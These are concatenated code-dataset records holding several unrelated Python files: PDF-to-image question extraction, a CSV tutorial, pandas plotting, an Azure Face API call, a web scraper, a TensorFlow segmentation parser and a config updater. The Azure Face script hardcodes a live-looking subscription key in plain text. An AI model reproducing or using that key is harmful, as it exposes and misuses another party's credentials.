\"+str(question_number+1)+\" saved.\")\r\n\r\n\r\ndef pdf_to_image(pdf_path, png_path, start, end):\r\n \"\"\"Convert PDF to JPG.\r\n\r\n Parameters\r\n ----------\r\n pdf_path -path to PDF file to convert to jpg\r\n png_path -path to save PNG file\r\n start -page number to start conversion at\r\n end -page number to end conversion at\r\n\r\n Counter variables\r\n -----------------\r\n i\r\n\r\n \"\"\"\r\n \"\"\"Iterate in range of pages to be converted\"\"\"\r\n for i in range(start-1, end):\r\n \"\"\"Convert PDF to image using ImageMagick, as pure black and white.\"\"\"\r\n params = [r\"C:\\Program Files (x86)\\ImageMagick-7.0.7-Q16\\magick.exe\", pdf_path+\"[\"+str(i)+\"]\", \"-alpha\", \"off\", png_path.replace(\".png\", \"_\"+str(i-start+2)+\".png\")]\r\n Popen(params, shell=True)\r\n \"\"\"Delay for 6 seconds to allow program to convert images.\"\"\"\r\n sleep(6)\r\n\r\n\r\ndef image_to_array(image_path, cutoff, template=False):\r\n \"\"\"Convert image to array.\r\n\r\n Array created in form array[y][x] where y is rows and x is columns\r\n\r\n Parameters\r\n ----------\r\n image_path -path to image to be converted\r\n cutoff -cutoff for pixel to be white\r\n template -boolean as to whether image being converted is template\r\n\r\n Variables\r\n ---------\r\n converted_array -array of converted image\r\n temp_array -temporary array to store x values in\r\n image -image object to create array from\r\n cutoff_to_compare -comparison that changes based on format of image\r\n\r\n Counting variables\r\n ------------------\r\n x -horizontal pixels\r\n y -vertical pixels\r\n\r\n \"\"\"\r\n \"\"\"Open image to be converted\"\"\"\r\n image = Image.open(image_path)\r\n\r\n \"\"\"\r\n Create blank array for converted image.\r\n Create temporary array to store x values of image.\r\n \"\"\"\r\n converted_array = []\r\n temp_array = []\r\n\r\n \"\"\"If image being converted is a template, set cutoff format to Greyscale\"\"\"\r\n if template:\r\n cutoff_to_compare = cutoff\r\n\r\n \"\"\"Else if image being converted is in RGB form, set cutoff format to RGB\"\"\"\r\n elif type(image.getpixel((0, 0))) is tuple:\r\n cutoff_to_compare = (cutoff, cutoff, cutoff)\r\n\r\n \"\"\"Else if image being converted is pure black and white, where white is a 0, set cutoff format to that.\"\"\"\r\n elif image.getpixel((0, 0)) == 0:\r\n cutoff_to_compare = 0\r\n\r\n \"\"\"Else if image being converted is pure black and white, where white is a 1, set cutoff format to that.\"\"\"\r\n elif image.getpixel((0, 0)) == 1:\r\n cutoff_to_compare == 1\r\n\r\n \"\"\"Final format it can be is RGB\"\"\"\r\n else:\r\n cutoff_to_compare = cutoff\r\n\r\n \"\"\"Iterate through image.\"\"\"\r\n for y in range(image.size[1]):\r\n for x in range(image.size[0]):\r\n \"\"\"Compare pixel values to cutoff format specified\"\"\"\r\n if image.getpixel((x, y)) == cutoff_to_compare:\r\n \"\"\"If white add 1 to end of temp array.\"\"\"\r\n temp_array.append(1)\r\n else:\r\n \"\"\"If black add 0 to end of temp array.\"\"\"\r\n temp_array.append(0)\r\n \"\"\"Add temp array to end of converted array\"\"\"\r\n converted_array.append(temp_array)\r\n \"\"\"Wipe temp array.\"\"\"\r\n temp_array = []\r\n \"\"\"Return converted array.\"\"\"\r\n return converted_array\r\n\r\n\r\ndef find_line(s_array):\r\n \"\"\"Search array for line of 0s, 400 wide and 3 down.\r\n\r\n Same as compare_array, except restricted to specific case\r\n Variables are the same, but only returns y value\r\n \"\"\"\r\n \"\"\"Set flag variables found and breaking to false.\"\"\"\r\n found = False\r\n breaking = False\r\n \"\"\"Iterate through 2D array to be searched.\"\"\"\r\n for y in range(len(s_array)):\r\n for x in range(len(s_array[0])):\r\n \"\"\"If a black pixel is found.\"\"\"\r\n if s_array[y][x] == 0:\r\n \"\"\"Set flags to True.\"\"\"\r\n found = True\r\n breaking = True\r\n \"\"\"Iterate through shape required for line condition\"\"\"\r\n for s_y in range(2):\r\n for s_x in range(400):\r\n \"\"\"If the point in the array being compared isnt black, set found flag to False, causing the loop to end\"\"\"\r\n if s_array[y+s_y][s_x+x] != 0:\r\n found = False\r\n break\r\n if not found:\r\n break\r\n \"\"\"If the line is found, return the current value.\"\"\"\r\n if found:\r\n return y\r\n \"\"\"Breaking flag causes loop to goto next y value to raise efficiency in the search.\"\"\"\r\n if breaking:\r\n breaking = False\r\n break\r\n \"\"\"If no line is found, return 0.\"\"\"\r\n return 0\r\n\r\n\r\ndef find_whitespace(template_array):\r\n \"\"\"Find the whitespace in the first line of a template array.\r\n\r\n Takes a template array in from template[y][x], returns position of first black pixel\r\n \"\"\"\r\n \"\"\"Set whitespace counter to 0\"\"\"\r\n template_whitespace = 0\r\n \"\"\"Iterate through first line of array.\"\"\"\r\n for x in range(len(template_array[0])):\r\n \"\"\"If current pixel is black\"\"\"\r\n if template_array[0][x] == 0:\r\n \"\"\"Set value of template_whitespace to current x value and end loop.\"\"\"\r\n template_whitespace = x\r\n break\r\n \"\"\"Output template_whitespace.\"\"\"\r\n return template_whitespace\r\n\r\n\r\ndef init_template_questions():\r\n \"\"\"Load template arrays into dictionary and return dictionary refering to them.\r\n\r\n Convert each template to array using image_to_array and store in dictionary.\r\n \"\"\"\r\n templates_questions = {\r\n 1: image_to_array(\"Question Number Templates\\\\template_1.png\", 255, True),\r\n 2: image_to_array(\"Question Number Templates\\\\template_2.png\", 255, True),\r\n 3: image_to_array(\"Question Number Templates\\\\template_3.png\", 255, True),\r\n 4: image_to_array(\"Question Number Templates\\\\template_4.png\", 255, True),\r\n 5: image_to_array(\"Question Number Templates\\\\template_5.png\", 255, True),\r\n 6: image_to_array(\"Question Number Templates\\\\template_6.png\", 255, True),\r\n 7: image_to_array(\"Question Number Templates\\\\template_7.png\", 255, True),\r\n 8: image_to_array(\"Question Number Templates\\\\template_8.png\", 255, True),\r\n 9: image_to_array(\"Question Number Templates\\\\template_9.png\", 255, True),\r\n 10: image_to_array(\"Question Number Templates\\\\template_10.png\", 255, True),\r\n 11: image_to_array(\"Question Number Templates\\\\template_11.png\", 255, True),\r\n 12: image_to_array(\"Question Number Templates\\\\template_12.png\", 255, True),\r\n 13: image_to_array(\"Question Number Templates\\\\template_13.png\", 255, True),\r\n 14: image_to_array(\"Question Number Templates\\\\template_14.png\", 255, True),\r\n 15: image_to_array(\"Question Number Templates\\\\template_15.png\", 255, True),\r\n 16: image_to_array(\"Question Number Templates\\\\template_16.png\", 255, True),\r\n 17: image_to_array(\"Question Number Templates\\\\template_17.png\", 255, True),\r\n 18: image_to_array(\"Question Number Templates\\\\template_18.png\", 255, True),\r\n 19: image_to_array(\"Question Number Templates\\\\template_19.png\", 255, True),\r\n 20: image_to_array(\"Question Number Templates\\\\template_20.png\", 255, True)\r\n }\r\n return templates_questions\r\n\r\n\r\ndef compare_array(search_array, template_array, y_start, x_end, searching_questions=False, searching_for=0, y_end=0):\r\n \"\"\"Compare image to template and return position.\r\n\r\n Parameters\r\n ----------\r\n search_array -2d array to search\r\n template_array -2d array of template to search for\r\n y_start -vertical value to start search from\r\n x_end -horizontal value to end search at\r\n searching_questions -whether or not the numbers being searched for are questions\r\n searching_for -How many templates are being searched for\r\n y_end -vertical value to end search at\r\n\r\n Variables\r\n ---------\r\n found_spots -array of spots in the file where the number is found\r\n template_whitespace -whitespace before template arrays first black pixel\r\n found -flag set to true when template is found and when called the position is added to found_spots\r\n breaking -flag set to true when all loops are to be ended\r\n\r\n Counter variables\r\n -----------------\r\n x -horizontal values\r\n y -vertical values\r\n s_x -searching horizontal values\r\n s_y -searching vertcal values\r\n\r\n \"\"\"\r\n \"\"\"If y_end is not specified, set y_end to the vertical length of the array to be searched\"\"\"\r\n if not y_end:\r\n y_end = len(search_array)\r\n\r\n \"\"\"\r\n Set counter variables, found and break, to False.\r\n Found is set to true when the template is found within the array to be searched.\r\n Break is set to true when all the loops are to be ended.\r\n \"\"\"\r\n found = False\r\n breaking = False\r\n\r\n \"\"\"Create blank array for locations of templates found within the array to be searched.\"\"\"\r\n found_spots = []\r\n \"\"\"Set template_whitespace to the amount of whitespace in the top line of the template array.\"\"\"\r\n template_whitespace = find_whitespace(template_array)\r\n \"\"\"Iterate through array to be searched within the bounds specified.\"\"\"\r\n for y in range(y_start, y_end):\r\n for x in range(x_end):\r\n \"\"\"Start searching if there is enough room left in search_array for the template and if a black pixel is found.\"\"\"\r\n if search_array[y][x] == 0 and len(search_array)-y >= len(template_array) and len(search_array[0])-x >= len(template_array) and x >= template_whitespace:\r\n \"\"\"Set found flag to True, this will be set to false if the area is found not to contain the template.\"\"\"\r\n found = True\r\n \"\"\"Iterate through template_array\"\"\"\r\n for s_y in range(len(template_array)):\r\n for s_x in range(len(template_array[0])):\r\n \"\"\"If the template_array pixel isnt the same as the search_array pixel in the corresponding spot relative to the start position of the search.\"\"\"\r\n if search_array[y+s_y][x-template_whitespace+s_x] != template_array[s_y][s_x]:\r\n \"\"\"Set found to false.\"\"\"\r\n found = False\r\n if not found:\r\n break\r\n \"\"\"If the template array is in this position, add it's position to the array containing the found spots.\"\"\"\r\n if found:\r\n found_spots.append((x, y))\r\n \"\"\"If searching for questions, only search until the first black pixel of each line.\"\"\"\r\n if (searching_questions):\r\n break\r\n \"\"\"If searching_for is specified and the amount of spots found is equal to the amount being searched for, break the loops.\"\"\"\r\n if (searching_for > 0 and len(found_spots) == searching_for):\r\n breaking = True\r\n break\r\n if breaking:\r\n break\r\n \"\"\"Output spots that have been found.\"\"\"\r\n return found_spots\r\n\r\n\r\ndef main():\r\n \"\"\"Combine the other modules to perform the full program.\r\n\r\n Imported modules\r\n ---------------\r\n os\r\n image_handling\r\n\r\n Inputs\r\n ------\r\n question_path\r\n answers_path\r\n\r\n Outputs\r\n -------\r\n Extracted answers\r\n Seperated questions\r\n\r\n Constants\r\n ---------\r\n progress_file\r\n temp_path\r\n page_start\r\n page_end\r\n\r\n Variables\r\n ---------\r\n found_questions\r\n question_amount\r\n \"\"\"\r\n \"\"\"Set location for progress to be output to.\"\"\"\r\n progress_file = \"progress.txt\"\r\n\r\n \"\"\"Set location to save temporary files\"\"\"\r\n temp_path = \"temp\"\r\n\r\n \"\"\"Read parameters from text file.\"\"\"\r\n with open(\"parameters.txt\", 'r') as f:\r\n year = f.readline().strip()\r\n question_path = f.readline().replace(\"//\", \"////\").strip()\r\n answers_path = f.readline().replace(\"//\", \"////\").strip()\r\n\r\n \"\"\"Set location to save the paper.\"\"\"\r\n save_path = \"Papers\\\\\"+str(year)\r\n\r\n \"\"\"Output current progress to progress file.\"\"\"\r\n with open(progress_file, 'w') as f:\r\n f.write(\"parameters loaded\")\r\n print(\"Parameters loaded.\")\r\n\r\n \"\"\"Create folder to store paper in.\"\"\"\r\n os.makedirs(save_path)\r\n\r\n \"\"\"Create array containing found questions.\"\"\"\r\n found_questions = find_questions(question_path, temp_path+\"\\\\page.png\", progress_file)\r\n \"\"\"Set question amount to the length of the array containing the questions found.\"\"\"\r\n question_amount = len(found_questions)\r\n\r\n \"\"\"Seperate and save questions in specified save folder.\"\"\"\r\n seperate_questions(found_questions, save_path, progress_file, temp_path)\r\n\r\n \"\"\"Find and save answers.\"\"\"\r\n find_answers(answers_path, save_path+\"\\\\answers.png\", question_amount, temp_path+\"\\\\answers.png\", progress_file)\r\n\r\n \"\"\"Output progress to progress file.\"\"\"\r\n with open(progress_file, \"w\") as f:\r\n f.write(\"done\")\r\n print(\"Done\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n \"\"\"Executes if module is called directly\"\"\"\r\n main()\r\n","sub_path":"image_handling.py","file_name":"image_handling.py","file_ext":"py","file_size_in_byte":30186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"366389546","text":"\"\"\"Pathways to Success Part 2.\"\"\"\n# Import the csv library\nimport csv\nfrom pathlib import Path\n\n# Create a path to the csv file called `quarterly_data.csv`\ncsvpath = Path(\"quarterly_data.csv\")\n\n# Open the csv path, read the data, and print each row\nwith open(csvpath) as csvfile:\n data = csv.reader(csvfile)\n for row in data:\n print(row)\n\n\"\"\"Extension.\n\nCreate a variable above the `for` loop named `Counter`\nand set it equal to zero. Then, every time a new row\nis read within the `for` loop, add a value of 1 to\nthis variable.\n\"\"\"\n\ncsvpath = Path(\"quarterly_data.csv\")\ncounter = 0\nwith open(csvpath) as csvfile:\n data = csv.reader(csvfile)\n for row in data:\n # For every new row, add one to `counter`\n counter = counter + 1\n\n # Print the row counter and then the row\n print(\"row counter \", counter)\n print(row)\n","sub_path":"1_Financial_Programming_with_Python/12_Pathways_to_Success_Part_2/Solved/pathways_to_success_part_2.py","file_name":"pathways_to_success_part_2.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"597686904","text":"\"\"\"\n@author:li kunlun\n@time:2020-10-22\n@description:散点图,直方图\n\"\"\"\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n# 用于在控制台打印数据(将Excel的信息都显示出来)\npd.options.display.max_columns = 999\nhomes = pd.read_excel('D:/home_data.xlsx')\nprint(homes.head())\n# 两列之间数据的相关性\nprint(homes.corr())\n# 散点图\n# homes.plot.scatter(x='sqft_living', y='price')\n# 密度图(kernel density)\nhomes.sqft_living.plot.kde()\n# 直方图\n# homes.sqft_living.plot.hist(bins=100)\n# # 500表示x轴的步长\n# plt.xticks(range(0, max(homes.sqft_living), 500), fontsize=8, rotation=90)\nplt.show()\n","sub_path":"src/com/xiaolun/chapter01/module04_excel/python14_scatter.py","file_name":"python14_scatter.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"645007681","text":"#新增成員資料\r\nimport requests\r\nbase = 'https://japanwest.api.cognitive.microsoft.com/face/v1.0'\r\npson_url = f'{base}/persongroups/gp01/persons'\r\nkey = 'f85d4cd78eda46cab8549149ac0d146a'\r\nheaders_json = {'Ocp-Apim-Subscription-Key': key, \r\n 'Content-Type': 'application/json'}\r\nbody = {'name': '曹家憲', \r\n 'userData': '位於家裡'}\r\nbody = str(body).encode('utf-8') \r\nresponse = requests.post(pson_url, \r\n headers=headers_json,\r\n data=body)\r\nif response.status_code == 200:\r\n print('新增完成: ', response.json())\r\nelse:\r\n print(\"新增失敗:\", response.json())\r\n\r\n\r\n","sub_path":"OPENCV2.0/addface_azure.py","file_name":"addface_azure.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"591101271","text":"def main():\n\n\tI = 0\n\tJ = 0\n\tcont = 0\n\taumento = 0\n\n\twhile I <= 2:\n\t\t\n\t\tJ += 1\n\t\tinteiroJ = J - int(J)\n\t\tinteiroI = I - int(I)\n\n\t\tif inteiroI == 0 or inteiroJ == 0:\n\t\t\tI = round(I)\n\t\t\tJ = round(J)\n\t\t\tprint('I=%d J=%d' % (I,J))\n\n\t\telse:\n\t\t\tprint('I=%.1f J=%.1f' % (I,J))\n\n\t\tcont += 1\n\n\t\tif cont == 3:\n\t\t\taumento += 1\n\t\t\tJ = 0 + 0.2 * aumento\n\t\t\tI += 0.2\n\t\t\tcont = 0\n\nif __name__ == '__main__':\n\tmain()","sub_path":"1098.py","file_name":"1098.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"282736236","text":"import httpx\nfrom bs4 import BeautifulSoup\nfrom convert_to_json import hash_id\n\nfrom cleanup import delete_from_index\nfrom upload_to_appsearch import upload_dict\n\nbit_chapters_page = httpx.get(\"https://foundation.blacksintechnology.net/chapters/\")\nsoup = BeautifulSoup(bit_chapters_page, \"html.parser\")\nbase_locations_wrapper = soup.select(\".elementor-widget-wrap\")\n\n\ndef get_locations():\n locations = []\n\n for location in base_locations_wrapper:\n\n if \"Chapter Organizer\" in location.text:\n name = location.select(\".raven-heading-title\")[0].text.strip()\n url = location.select(\"a.raven-button.raven-button-link\")[0][\"href\"]\n asset = {\n \"name\": f\"Blacks in Technology - {name}\",\n \"url\": url,\n \"organization_logo\": \"https://kjaymiller.s3-us-west-2.amazonaws.com/images/blacks-in-technology.jpeg\",\n \"city\": name.title(),\n \"diversity_focus\": [\"BIPOC\"],\n \"technology_focus\": [\"General Technology\"],\n \"parent_organization\": \"Blacks in Technology Foundation\",\n \"global_org_url_from_parent_organization\": \"https://blacksintechnology.net\",\n }\n\n asset[\"id\"] = hash_id(name + url)\n locations.append(asset)\n return locations\n\n\nif __name__ == \"__main__\":\n delete_from_index(\"Blacks in Technology Foundation\")\n upload_dict(get_locations())\n","sub_path":"upload/scrapers/blacks-in-technology.py","file_name":"blacks-in-technology.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"280877971","text":"# Copyright 2021 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Data parser and processing for segmentation datasets.\"\"\"\nfrom typing import Optional, List\n\nimport tensorflow as tf\nfrom official.vision.beta.dataloaders import decoder\nfrom official.vision.beta.dataloaders import parser\nfrom official.vision.beta.ops import preprocess_ops, augment\n\nimport io\nfrom PIL import Image\n\nMEAN_RGB = (0.485 * 255, 0.456 * 255, 0.406 * 255)\nSTDDEV_RGB = (0.229 * 255, 0.224 * 255, 0.225 * 255)\n\n\ndef _encode_image(image_array, fmt):\n image = Image.fromarray(image_array)\n with io.BytesIO() as output:\n image.save(output, format=fmt)\n return output.getvalue()\n\n\nclass Decoder(decoder.Decoder):\n \"\"\"A tf.Example decoder for segmentation task.\"\"\"\n\n def __init__(self):\n self._keys_to_features = {\n 'image/encoded': tf.io.FixedLenFeature((), tf.string, default_value=''),\n 'image/height': tf.io.FixedLenFeature((), tf.int64, default_value=0),\n 'image/width': tf.io.FixedLenFeature((), tf.int64, default_value=0),\n 'image/segmentation/class/encoded':\n tf.io.FixedLenFeature((), tf.string, default_value='')\n }\n\n def decode(self, serialized_example):\n return tf.io.parse_single_example(\n serialized_example, self._keys_to_features)\n\n\nclass Parser(parser.Parser):\n \"\"\"Parser to parse an image and its annotations into a dictionary of tensors.\n \"\"\"\n\n def __init__(self,\n output_size,\n crop_size=None,\n resize_eval_groundtruth=True,\n groundtruth_padded_size=None,\n ignore_label=255,\n aug_rand_hflip=False,\n aug_policy: Optional[str] = None,\n randaug_magnitude: Optional[int] = 10,\n randaug_available_ops: Optional[List[str]] = None,\n aug_scale_min=1.0,\n aug_scale_max=1.0,\n preserve_aspect_ratio=True,\n rotate_min=0.0,\n rotate_max=0.0,\n bright_min=1.0,\n bright_max=1.0,\n dtype='float32'):\n \"\"\"Initializes parameters for parsing annotations in the dataset.\n\n Args:\n output_size: `Tensor` or `list` for [height, width] of output image. The\n output_size should be divided by the largest feature stride 2^max_level.\n crop_size: `Tensor` or `list` for [height, width] of the crop. If\n specified a training crop of size crop_size is returned. This is useful\n for cropping original images during training while evaluating on\n original image sizes.\n resize_eval_groundtruth: `bool`, if True, eval groundtruth masks are\n resized to output_size.\n groundtruth_padded_size: `Tensor` or `list` for [height, width]. When\n resize_eval_groundtruth is set to False, the groundtruth masks are\n padded to this size.\n ignore_label: `int` the pixel with ignore label will not used for training\n and evaluation.\n aug_rand_hflip: `bool`, if True, augment training with random\n horizontal flip.\n aug_policy: `str`, augmentation policies. None or 'randaug'. TODO support 'autoaug'\n randaug_magnitude: `int`, magnitude of the randaugment policy.\n randaug_available_ops: `List[str]`, specify augmentations for randaug\n aug_scale_min: `float`, the minimum scale applied to `output_size` for\n data augmentation during training.\n aug_scale_max: `float`, the maximum scale applied to `output_size` for\n data augmentation during training.\n preserve_aspect_ratio: `bool`, whether to preserve aspect ratio during resize\n rotate_min: `float`, the minimum rotation applied to `output_size` for\n data augmentation during training.\n rotate_max: `float`, the maximum rotation applied to `output_size` for\n data augmentation during training.\n bright_min: `float`, the minimum brightness applied to `output_size` for\n data augmentation during training.\n bright_max: `float`, the maximum brightness applied to `output_size` for\n data augmentation during training.\n dtype: `str`, data type. One of {`bfloat16`, `float32`, `float16`}.\n \"\"\"\n self._output_size = output_size\n self._crop_size = crop_size\n self._resize_eval_groundtruth = resize_eval_groundtruth\n if (not resize_eval_groundtruth) and (groundtruth_padded_size is None):\n raise ValueError('groundtruth_padded_size ([height, width]) needs to be'\n 'specified when resize_eval_groundtruth is False.')\n self._groundtruth_padded_size = groundtruth_padded_size\n self._ignore_label = ignore_label\n\n # Data augmentation.\n self._aug_rand_hflip = aug_rand_hflip\n self._aug_scale_min = aug_scale_min\n self._aug_scale_max = aug_scale_max\n self._preserve_aspect_ratio = preserve_aspect_ratio\n self._bright_min = bright_min\n self._bright_max = bright_max\n self._rotate_min = rotate_min\n self._rotate_max = rotate_max\n\n if aug_policy:\n # ops that changes the shape of the mask (any form of translation / rotation)\n if aug_policy == 'randaug':\n self._augmenter = augment.RandAugment(\n num_layers=2, magnitude=randaug_magnitude, available_ops=randaug_available_ops)\n else:\n raise ValueError(\n 'Augmentation policy {} not supported.'.format(aug_policy))\n else:\n self._augmenter = None\n\n # dtype.\n self._dtype = dtype\n\n def _prepare_image_and_label(self, data):\n \"\"\"Prepare image and label.\"\"\"\n image = tf.io.decode_image(data['image/encoded'], channels=3)\n label = tf.io.decode_image(data['image/segmentation/class/encoded'],\n channels=1)\n \n # encoded_jpg = tf.image.encode_jpeg(image)\n # tf.io.write_file('img.jpg', encoded_jpg)\n # encoded_jpg2 = tf.image.encode_jpeg(label)\n # tf.io.write_file('label.jpg', encoded_jpg2)\n\n height = data['image/height']\n width = data['image/width']\n image = tf.reshape(image, (height, width, 3))\n\n label = tf.reshape(label, (1, height, width))\n label = tf.cast(label, tf.float32)\n \n return image, label\n\n def _parse_train_data(self, data):\n \"\"\"Parses data for training and evaluation.\"\"\"\n image, label = self._prepare_image_and_label(data)\n\n if self._crop_size:\n\n label = tf.reshape(label, [data['image/height'], data['image/width'], 1])\n # If output_size is specified, resize image, and label to desired\n # output_size.\n if self._output_size:\n image = tf.image.resize(image, self._output_size, method='bilinear')\n label = tf.image.resize(label, self._output_size, method='nearest')\n\n image_mask = tf.concat([image, label], axis=2)\n image_mask_crop = tf.image.random_crop(image_mask,\n self._crop_size + [4])\n image = image_mask_crop[:, :, :-1]\n label = tf.reshape(image_mask_crop[:, :, -1], [1] + self._crop_size)\n\n # Flips image randomly during training.\n if self._aug_rand_hflip:\n image, _, label = preprocess_ops.random_horizontal_flip(\n image, masks=label)\n\n train_image_size = self._crop_size if self._crop_size else self._output_size\n # Rotates image randomly during training\n if self._rotate_min != 0.0 and \\\n self._rotate_max != 0.0 and \\\n self._rotate_min < self._rotate_max:\n image, label = preprocess_ops.random_rotation(\n image, masks=label, \n rotate_max=self._rotate_max, \n rotate_min=self._rotate_min,\n ignore_label=self._ignore_label\n )\n\n # Resizes and crops image.\n image, image_info = preprocess_ops.resize_and_crop_image(\n image,\n train_image_size,\n train_image_size,\n aug_scale_min=self._aug_scale_min,\n aug_scale_max=self._aug_scale_max,\n preserve_aspect_ratio=self._preserve_aspect_ratio)\n \n # Modify brightness randomly during training\n if self._bright_min != 1.0 and \\\n self._bright_max != 1.0 and \\\n self._bright_min < self._bright_max:\n image = preprocess_ops.random_brightness(\n image, \n bright_min=self._bright_min, \n bright_max=self._bright_max)\n\n # Resizes and crops boxes.\n image_scale = image_info[2, :]\n offset = image_info[3, :]\n\n # Pad label and make sure the padded region assigned to the ignore label.\n # The label is first offset by +1 and then padded with 0.\n label += 1\n label = tf.expand_dims(label, axis=3)\n label = preprocess_ops.resize_and_crop_masks(\n label, image_scale, train_image_size, offset)\n label -= 1\n label = tf.where(tf.equal(label, -1),\n self._ignore_label * tf.ones_like(label), label)\n label = tf.squeeze(label, axis=0)\n\n # Apply randaug\n if self._augmenter is not None:\n image, label = self._augmenter.distort_image_and_mask(\n image, label, self._ignore_label)\n\n valid_mask = tf.not_equal(label, self._ignore_label)\n labels = {\n 'masks': label,\n 'valid_masks': valid_mask,\n 'image_info': image_info,\n }\n \n # Normalizes image with mean and std pixel values. \n # Must be done after augmenter since certain ops rely on uint8\n image = preprocess_ops.normalize_image(image,\n offset=MEAN_RGB,\n scale=STDDEV_RGB)\n\n # Cast image as self._dtype\n image = tf.cast(image, dtype=self._dtype)\n\n return image, labels\n\n def _parse_eval_data(self, data):\n \"\"\"Parses data for training and evaluation.\"\"\"\n image, label = self._prepare_image_and_label(data)\n # The label is first offset by +1 and then padded with 0.\n label += 1\n label = tf.expand_dims(label, axis=3)\n\n # Resizes and crops image.\n image, image_info = preprocess_ops.resize_and_crop_image(\n image,\n self._output_size,\n self._output_size,\n preserve_aspect_ratio=self._preserve_aspect_ratio)\n\n if self._resize_eval_groundtruth:\n # Resizes eval masks to match input image sizes. In that case, mean IoU\n # is computed on output_size not the original size of the images.\n image_scale = image_info[2, :]\n offset = image_info[3, :]\n label = preprocess_ops.resize_and_crop_masks(label, image_scale,\n self._output_size, offset)\n else:\n label = tf.image.pad_to_bounding_box(\n label, 0, 0, self._groundtruth_padded_size[0],\n self._groundtruth_padded_size[1])\n\n label -= 1\n label = tf.where(tf.equal(label, -1),\n self._ignore_label * tf.ones_like(label), label)\n label = tf.squeeze(label, axis=0)\n\n valid_mask = tf.not_equal(label, self._ignore_label)\n labels = {\n 'masks': label,\n 'valid_masks': valid_mask,\n 'image_info': image_info\n }\n\n # Normalizes image with mean and std pixel values.\n # Must be done after augmenter since certain ops rely on uint8\n image = preprocess_ops.normalize_image(image,\n offset=MEAN_RGB,\n scale=STDDEV_RGB)\n \n # Cast image as self._dtype\n image = tf.cast(image, dtype=self._dtype)\n\n return image, labels\n","sub_path":"official/vision/beta/dataloaders/segmentation_input.py","file_name":"segmentation_input.py","file_ext":"py","file_size_in_byte":11823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"288293110","text":"from ucfg_updater import *\nfrom ucfg_utils import info, error\n\nfrom ucfg_main import ConfigUtilities\n\nimport os\nimport re\n\nfrom _use import USEUpdater\n\nclass UUpdater(USEUpdater):\n\t\n\tdef printDescription(self, options):\n\t\tinfo(options, \"Updates Unicore/X configuration from pre 6.6.0 versions to the 6.6.0 syntax\")\n\n\tdef run(self, options):\n\t\tinfo(options, \"UNICORE/X configuration updater\")\n\t\tsuper(UUpdater, self).run(options, 'unicorex')\n\t\tcfgUtil = ConfigUtilities(options, 'unicorex')\n\n\t\tdict = {\n\t\t\t'defaultsms.workdir'\t\t\t\t\t\t: 'coreServices.defaultsms.workdir',\n\t\t\t'uas.targetsystemfactory.xnjs.configfile'\t: 'coreServices.targetsystemfactory.xnjs.configfile',\n\t\t\t'uas.sms.protocols'\t\t\t\t\t\t\t: 'coreServices.sms.protocols',\n\t\t\t'uas.storagefactory.types' \t\t\t\t\t: 'coreServices.sms.enabledFactories',\n\t\t\t'unicore.gridbean.directory'\t\t\t\t: 'coreServices.gridbean.directory',\n\t\t\t'cip.data.path'\t\t\t\t\t\t\t\t: 'coreServices.cip.dataPath',\n\t\t\t'bes.naming.profile'\t\t\t\t\t\t: 'coreServices.bes.namingProfile',\n\t\t\t'bes.job.mode'\t\t\t\t\t\t\t\t: 'coreServices.bes.jobMode',\n\t\t\t'bes.is.accepting.new.activities'\t\t\t: 'coreServices.bes.isAcceptingNewActivities',\n\t\t\t'bes.naming.profile'\t\t\t\t\t\t: 'coreServices.bes.namingProfile',\n\t\t\t'bes.local.resource.manager.type'\t\t\t: 'coreServices.bes.localResourceManagerType',\n\t\t\t'bes.common.name'\t\t\t\t\t\t\t: 'coreServices.bes.commonName',\n\t\t\t'bes.long.description'\t\t\t\t\t\t: 'coreServices.bes.longDescription',\n\t\t\t'bes.extension'\t\t\t\t\t\t\t\t: 'coreServices.bes.extension',\n\t\t}\n\n\t\tjavaProps = cfgUtil.getJavaPropertyKeys('uas.config')\n\t\tfor propName in javaProps:\n\t\t\tm = re.match('^(uas\\.storagefactory\\.)(.*)', propName)\n\t\t\tif m != None and not (propName == 'uas.storagefactory.types'):\n\t\t\t\tdict[propName] = 'coreServices.sms.factory.' + m.group(2) \n\n\t\tcfgUtil.updateJavaPropertyNames('uas.config', dict)\n\n\t\tdict = {\n\t\t\t'bes.factory.id' : 'This property is not available anymore without a replacement.'\n\t\t}\n\n\t\tcfgUtil.commentJavaProperties('uas.config', dict);\n\t\t\n\t\tinfo(options, \"Finished update of configuration of Unicore/X\")\n\n\n","sub_path":"packages/unicore-registry6/sources/src/main/configurator/unicorex.py","file_name":"unicorex.py","file_ext":"py","file_size_in_byte":2033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"249431449","text":"import six\n\nfrom chainer.backends import cuda\nfrom chainer import function_node\nfrom chainer.utils import conv\nfrom chainer.utils import conv_nd\nfrom chainer.utils import type_check\n\n\nif cuda.cudnn_enabled:\n cudnn = cuda.cudnn\n\n\nclass _PoolingND(function_node.FunctionNode):\n\n \"\"\"Base class of pooling function over a set of N-dimensional planes.\"\"\"\n\n def __init__(self, ndim, ksize, stride=None, pad=0, cover_all=True,\n return_indices=False):\n if stride is None:\n stride = ksize\n\n if ndim <= 0:\n raise ValueError(\n 'pooling operation requires at least one spatial dimension.')\n\n self.ndim = ndim\n self.ksize = 